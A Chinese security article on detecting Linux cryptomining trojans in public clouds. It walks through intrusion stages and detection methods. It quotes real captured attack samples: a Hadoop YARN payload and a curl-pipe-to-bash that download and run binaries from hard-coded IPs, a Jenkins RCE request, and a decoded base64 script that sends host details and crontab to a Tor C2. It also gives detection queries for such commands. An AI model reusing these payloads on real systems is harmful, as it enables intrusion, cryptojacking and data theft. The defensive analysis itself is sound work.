安全技术:Linux系统的挖矿木马检测与产品化
每年的互联网安全报告中,服务器挖矿行为都被各大云厂商重点指出,被植入挖矿木马的服务器会出现CPU使用率飙升、系统卡顿、业务服务无法正常使用等情况,严重影响企业上云的信心。在这里有必要和大家聊一下,公有云挖矿检测相关技术和产品化相关事宜,同时揭秘,在不同场景下检测与对抗的手段等。
0x01、Linux挖矿木马攻击手段
本文主要讲述的是Linux操作系统挖矿行为,因为绝大部分公有云服务器安装的是linux操作系统,占比维持在70~80%。
阶段1:网络层面NIDS规则分析
当我们分析入侵关键路径的时候,发现
1、通过暴力破解进入到服务器占比比较高,要暴力破解,需要做几件事情,
@1、对SSH、MYSQL等服务器上运行的高权限服务做探测。
@2、对SSH、MYSQL服务做暴力破解。
@3、产生暴力破解成功事件。
2、通过web方式入侵,主要是通过web相关服务的漏洞,编写RCE(远程执行代码)、RFI(远程文件包含)的payload,完成入侵。
解密后:
3、非web框架的配置漏洞
这里使用的漏洞有很多,我就拿2个常见的漏洞说起。
@1、Hadoop Yarn REST API未授权漏洞
{"am-container-spec": {"commands": {"command": "wget http://142.11.245.222/bins/RkPxVnvFoT.x86;chmod 777 *;./RkPxVnvFoT.x86 RKGI.Exploit "}}, "application-id": "application_1588763404712_1255", "application-type": "YARN", "application-name": "get-shell"}
@2、Jenkins RCE(CVE-2019-1003000)
GET /cgi-sys/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=%40GrabConfig%28disableChecksums%3Dtrue%29%0A%40GrabResolver%28name%3D%27test%27%2C+root%3D%27http%3A%2F%2Faaa%27%29%0A%40Grab%28group%3D%27package%27%2C+module%3D%27xykh%27%2C+version%3D%271%27%29%0Aimport+Payload HTTP/1.1
Connection:close
Host: 116.196.104.248:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
1umqoqsc2t: () { (a)=>' echo -e "Content-Type: text/plain\n"; echo -e
阶段2:网络层威胁情报分析
通过威胁情报数据分析,绝大部分木马都伴随着挖矿行为。我们分析了相关的挖矿数据,我们发现,入侵的程序大部分是直接集成挖矿网站的程序,下载最终的目的就是为了挖矿,挖矿程序很多都是官网下载或者公共空间下载,下载完成后直接连接公共矿池,这样NIDS直接通过商业威胁情报对比可以及时发现。
同时,可以关联主机层进程监控数据,快速判断其挖矿程序在客户端运行的情况。这种关联方式性价比最高。有人会说用EDR Socket对外连接数据关联威胁情报它不香么?你品你细品。
阶段3:主机层面入侵分析
通过系统CPU监控数据,我们发现CPU使用率超过30%以后,这些云主机还伴随着其它的告警事件。
从以上分析数据看,挖矿程序进入到云主机后会做以下事情:
1、通过wget、curl或者替换的程序去下载脚本程序,这个程序会做一些入侵前期的工作,例如:干掉安骑士、腾讯云安全客户端,干掉竞争对手等工作,同时通过系统文件篡改,我们可以监控到添加C2的SSH key、上载/etc/passwd爆破,添加crontab任务等。
2、下载rootkit程序隐藏自己的进程。
3、运行挖矿程序
4、系统感知到的安全告警事件
@1、本地提权事件,如果不是root权限会使用一些提权工具。
@2、删除系统日志事件。
@3、暴力破解成功事件。
阶段4:内网蜜罐告警分析
在分析运行挖矿程序的服务器时,我们发现还有部分服务器会同时对内网进行扫描,会有以下类型的尝试。
阶段5:对抗技术
@1、base64加密,防止EDR客户端进程监控,对比威胁情报。
变种1:
加密后的cmdline:
sh -c echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNHNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJtYXplY2xtaGJhY3VjeGluIikKCnNvY2t6KCkgewpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCgkYyBodHRwczovL2RvaC5jZW50cmFsZXUucGktZG5zLmNvbS8kcCB8fAogICAgICRjIGh0dHBzOi8vZG5zLnR3bmljLnR3LyRwIHx8CiAgICAgJGMgaHR0cHM6Ly9kbnMucnVieWZpc2guY24vJHAgfHwKICAgICAkYyBodHRwczovL2RvaC5kbnMuc2IvJHAgOyBob3N0IC1XIDUgcmVsYXkudG9yMnNvY2tzLmlufGF3ayB7J3ByaW50ICRORid9KVwKICAgICB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSApCn0KCmlib3QoKSB7CnNvY2t6CmY9L2JvdApyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8d2dldC00cU8tIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNifHx3Z2V0IC00cU8tIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLVggUE9TVCAteCBzb2NrczVoOi8vJHM6OTA1MCAtZSRyICR0Lm9uaW9uJGYgfHwgJGMgLVggUE9TVCAtZSRyICQxJGYKfQoKaWJvdCAkdC50b3Iyd2ViLmluIHx8IGlib3QgJHQudG9yMndlYi5pbyB8fCBpYm90ICR0LnRvcjJ3ZWIuc3UK |base64 -d|bash
解码后cmdline:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4sSLkA- -m200")
t=$(echo "mazeclmhbacucxin")
sockz() {
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||
$c https://dns.twnic.tw/$p ||
$c https://dns.rubyfish.cn/$p ||
$c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\
| grep -oE "\b([0-9]\.)[0-9]\b" |tr ' ' '\n'|sort -uR|head -1 )
}
ibot() {
sockz
f=/bot
r=$(curl -4fsSLk checkip.amazonaws.com||wget-4qO- checkip.amazonaws.com||curl -4fsSLk ip.sb||wget -4qO- ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -X POST -x socks5h://$s:9050 -e$r $t.onion$f || $c -X POST -e$r $1$f
}
ibot $t.tor2web.in || ibot $t.tor2web.io || ibot $t.tor2web.su
变种2:
bash -c ||
curl -s http://192.99.142.226:8220/mr.sh | bash -sh
解决方案:
在flink cep平台上增加实时或者定时日志中获取命令行数据,搜索相关的数据,做base64解密,然后,获取相关下载路径对比威胁情报。
cmdline.keyword:*bash\ -c* AND cmdline.keyword:*base64*
cmdline.keyword:*sh\ -c echo* AND cmdline.keyword:*base64\ -d*
@2、进程监控对抗
/bin/bash -c (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one||python -c 'import urllib;print(urllib.urlopen("http://aliyun.one").read())'||/usr/local/sbin/a91070e40c)|sh
网站是正常的,躲避威胁情报比对。
解决方案:网络层监控,无论你在客户端做什么规避动作,对外访问公网肯定能抓到。
@3、rootkit技术
杀毒软件返回的数据,发现有很多程序都做了进程隐藏。
解决方案:通过busybox内置的ps获取进程相关数据与系统ps做对比,发现隐藏进程则告警。
0x02、总结
2020上半年Linux挖矿木马攻击数量呈增长趋势,捕获的样本种类也日益增多,黑产所使用的挖矿木马也将更隐蔽、横向渗透更强、集成模块更多,安全对抗也愈发激烈。针对Linux挖矿程序检测产品化工作,需要联动网络层漏洞检测规则、主机层下载执行检测规则、容器内部进程执行检测,以及内网蜜罐技术检测,才能系统的、全面的发现,安全之路漫漫其修远兮,吾将上下求索对抗到底。
Scan QR code with WeChat